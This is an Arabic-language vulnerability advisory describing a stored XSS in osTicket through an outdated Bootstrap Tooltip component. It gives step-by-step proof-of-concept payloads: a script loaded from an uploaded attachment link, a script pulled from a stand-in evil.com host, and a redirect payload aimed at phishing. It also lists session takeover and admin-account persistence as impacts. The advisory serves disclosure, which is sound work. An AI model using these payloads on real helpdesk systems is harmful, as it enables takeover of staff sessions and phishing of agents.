CVE-2026-36214 - ثغرة تخزين البرمجة النصية العابرة للمواقع (XSS) في osTicket عبر مكون Bootstrap Tooltip القابل للثغرات

الوصف

إصدارات EnhanceSoft osTicket من 1.10 حتى 1.17.7 ومن 1.18.0 حتى 1.18.3 تأتي مع مكون Bootstrap Tooltip 3.3.4 المعروف بوجود ثغرة (CVE-2019-8331)، مما يُحدث ثغرة تخزين البرمجة النصية العابرة للمواقع (XSS).
في التهيئة الافتراضية لـ osTicket، يمكن لمقدمي التذاكر («المستخدمين») تقديم تذاكر دون مصادقة مسبقة، ويكون التسجيل الذاتي للمستخدم مفتوحًا افتراضيًا. يمكن لمستخدم بعيد صياغة رسالة تذكرة خبيثة، رغم مرورها عبر وحدة تنقية HTML المسماة htmlLawed، تؤدي إلى تنفيذ JavaScript تعسفي في متصفح أي وكيل أو مسؤول يطلع عليها. تتفاقم هذه المشكلة بسبب أن ملفات JavaScript التي يرفعها المستخدم تُخدم بنوع محتوى من نوع JavaScript قابل للتنفيذ (text/javascript)، مما يسمح بتفسيرها كمحتوى نشط بواسطة المتصفحات. بينما تكون الحمولات المضمنة مقيدة بطريقة تحليل Bootstrap Tooltip 3.3.4 لقيمة data-template إلى كائن jQuery وإدراجها في DOM عبر appendTo() أو insertAfter()، فإن تنفيذ الكود المسيطر عليه كسكريبتات خارجية يتجاوز هذه القيود ويتيح استغلالًا أقوى للثغرة.

الإصدارات المتأثرة

• تم اختبارها وتأكيد ثغريتها:

  • osTicket 1.18.2
  • osTicket 1.18.3

• الإصدارات المتأثرة:

  • v1.10 - v1.17.8 (باستثناء)
  • v1.18 - v1.18.4 (باستثناء)

هذا المكون موجود في قاعدة كود osTicket منذ 13 مايو 2015، كما هو موضح بواسطة:

• الملف: scp/js/bootstrap-tooltip.js
• الالتزام: e5a28410ae7c238932eef07c2b3568da015a792c

يرتبط هذا الالتزام بعلامات إصدار osTicket التي تعود إلى الإصدار 1.10، مما يشير إلى تضمين مكون Bootstrap Tooltip القابل للثغرات عبر مجموعة واسعة من إصدارات osTicket على مدى إصدارات رئيسية متعددة. يشير هذا الإدراج طويل الأمد بقوة إلى أن العديد من إصدارات osTicket الصادرة على مدى عدة سنوات متأثرة.

1. نظرة عامة

osTicket هو نظام تذاكر مفتوح المصدر يستخدم على نطاق واسع يسمح للمستخدمين النهائيين بإرسال محتوى HTML غني ومرفقات الملفات كجزء من إنشاء التذاكر والردود.

يحدد osTicket ثلاث فئات رئيسية من المستخدمين:

• المسؤول
  • صلاحية إدارية كاملة
  • التهيئة العامة، المستخدمون، الأدوار، الإضافات
• الوكيل
  • صلاحية تشغيلية للتذاكر
  • يمكن عرض التذاكر والرد عليها ونقلها وإغلاقها
• المستخدم (العميل / المستخدم النهائي)
  • يمكنه فقط الوصول إلى بوابة العميل
  • يمكنه إنشاء وعرض تذاكره الخاصة

أي محتوى HTML يقدمه مستخدم قد يتم عرضه لاحقًا في متصفح وكيل أو مسؤول، مما يجعل الثغرات من جانب العميل مؤثرة بشكل خاص.

2. إثبات المفهوم

أولاً، قم بتسجيل الدخول باستخدام حساب المستخدم النهائي الخاص بك واذهب إلى صفحة إنشاء تذكرة.
ثم قم بإنشاء ملف JavaScript (مثال: test.js) يحتوي على حمولة. على سبيل المثال:

alert(123);

ملاحظة: افتراضيًا، يسمح osTicket بمرفقات التذاكر بدون قيود على أنواع الملفات.

ثم قم بإرسال التذكرة بالنقر على «إنشاء تذكرة» دون تقديم أي «تفاصيل المشكلة».

سيقوم التطبيق بإعادة توجيهنا إلى نموذج إرسال التذكرة مع الخطأ «تفاصيل المشكلة حقل مطلوب».
تسمح لنا هذه الصفحة بالحصول على رابط تنزيل لملف JavaScript الخاص بنا (test.js) دون إرسال التذكرة فعليًا.

بمجرد الحصول على هذا الرابط، عد إلى نموذج إرسال التذكرة.
انقر على محرر HTML والصق هذه الحمولة، مع استبدال سمة src لعلامة script بالرابط الذي حصلت عليه سابقًا.

<input>
<div style="width:100%;height:100%;pOsition:fixed;tOp:0px;lEft:0px;z-Index:9999" data-toggle="tooltip" title="t" data-template="<script src='[LINK_HERE]'>"></div>
<input>

فيما يلي مثال على حمولة كاملة، حيث تم استبدال النمط [LINK_HERE] بالرابط الذي حصلت عليه سابقًا:

<input>
<div style="width:100%;height:100%;pOsition:fixed;tOp:0px;lEft:0px;z-Index:9999" data-toggle="tooltip" title="t" data-template="<script src='http://localhost:8080/file.php?key=rjfge-qlcmbwgnsfl8hhwktyhctre-_e&expires=1768780800&signature=5044f8201f041228de077a2e025e6fc118b31223'>"></div>
<input>

ثم قم بإرسال التذكرة.

عندما يعرض مسؤول أو وكيل تذكرتنا الخبيثة، يتم تشغيل الحمولة.

النتيجة:
عندما يفتح مسؤول/وكيل التذكرة الخبيثة، يتم تحميل حمولة JavaScript وتنفيذها في سياق جلسة المسؤول/الوكيل.

ينتج عن هذا XSS مخزّن، مما يسمح بانتهاك الجلسة بالكامل (على سبيل المثال عبر ezXSS، أو CSRF لتنفيذ إجراءات مسؤول/وكيل).

3. التأثير

اختراق الوكيل

إذا تم عرض التذكرة الخبيثة من قبل وكيل، يتم تنفيذ XSS المخزّن في سياق جلسة الوكيل الموثقة.

يتيح ذلك للمهاجم الاستيلاء الفعلي على جلسة الوكيل دون الحاجة إلى استخراج ملف تعريف الارتباط للجلسة (على سبيل المثال، حتى في السيناريوهات التي لا يكون فيها استخراج ملف تعريف الارتباط عمليًا ويتم استخدام منصة XSS عمياء مثل ezXSS). بمجرد تشغيل XSS، يمكن للمهاجم تنفيذ أي إجراء يسمح للوكيل المخترق القيام به، على سبيل المثال:

• الاطلاع على التذاكر المتاحة لذلك الوكيل (غالبًا ما تشمل جزءًا كبيرًا من مكتب المساعدة)
• تنزيل ومراجعة مرفقات التذاكر
• الرد على التذاكر والتفاعل مع المستخدمين
• نقل التذاكر أو إغلاقها أو تحديث حالتها بأي شكل آخر
• إضافة ملاحظات داخلية (إذا مسموح)

ينتج عن هذا اختراق كامل لقدرات الوكيل التشغيلية وسرية/نزاهة سير عمل التذاكر.

اختراق المسؤول

إذا تم عرض التذكرة الخبيثة من قبل مسؤول، يتصاعد التأثير إلى اختراق كامل للتطبيق. يمكن للمهاجم:

• الاستيلاء على جلسة المسؤول
• تعديل التهيئة العامة (الإعدادات، الأذونات، ...)
• إحداث رفض الخدمة عن طريق تغيير قيم تهيئة حرجة
• تعديل «الصفحات» / القوالب الإدارية، مما يتيح تشويهًا عامًا وهندسة اجتماعية على واجهة التطبيق
• إنشاء حسابات وكيل و/أو مسؤول جديدة لتأسيس استمرارية

ملاحظة حول رفع الملفات المقيدة وسياسة أمان المحتوى

على الرغم من أن التهيئة الافتراضية لـ osTicket تسمح برفع ملفات JavaScript، يمكن تكوين osTicket في لوحة المسؤول بحيث لا يُسمح للمستخدم النهائي برفع ملفات JavaScript.

علاوة على ذلك، تفرض لوحة تحكم الموظفين المستخدمة من قبل الوكلاء والمسؤولين سياسة أمان محتوى تمنع تنفيذ JavaScript المصدرة من نطاقات طرف ثالث.
لنأخذ الحمولة التالية كمثال:

<input>
<div style="width:100%;height:100%;pOsition:fixed;tOp:0px;lEft:0px;z-Index:9999" data-toggle="tooltip" title="t" data-template="<script src='http://evil.com'></object>"></div>
<input>

توضح لقطة الشاشة أدناه أنه تم حظر تحميل سكريبت من https://evil.com بواسطة سياسة أمان المحتوى المفروضة على لوحة تحكم الموظفين.

ومع ذلك، تسمح سياسة أمان المحتوى المطبقة على التطبيق بـ JavaScript المضمن.

في حالة حظر رفع ملفات JavaScript، لا يزال بإمكان المهاجم تنفيذ إجراءات خبيثة. لنفكر في الحمولة أدناه:

<input>
<div style="width:100%;height:100%;pOsition:fixed;tOp:0px;lEft:0px;z-Index:9999" data-toggle="tooltip" title="t" data-template=""></div>
<input>

تترجم حمولة Base64 إلى:

<script>top.location = "https://example.com";</script>

تسمح هذه الحمولة للمهاجم بإعادة توجيه وكيل أو مسؤول يعرض التذكرة الخبيثة إلى موقع ويب تعسفي، على سبيل المثال موقع تصيد.

هذه هي النتيجة بعد عرض تذكرة تحتوي على الحمولة أعلاه.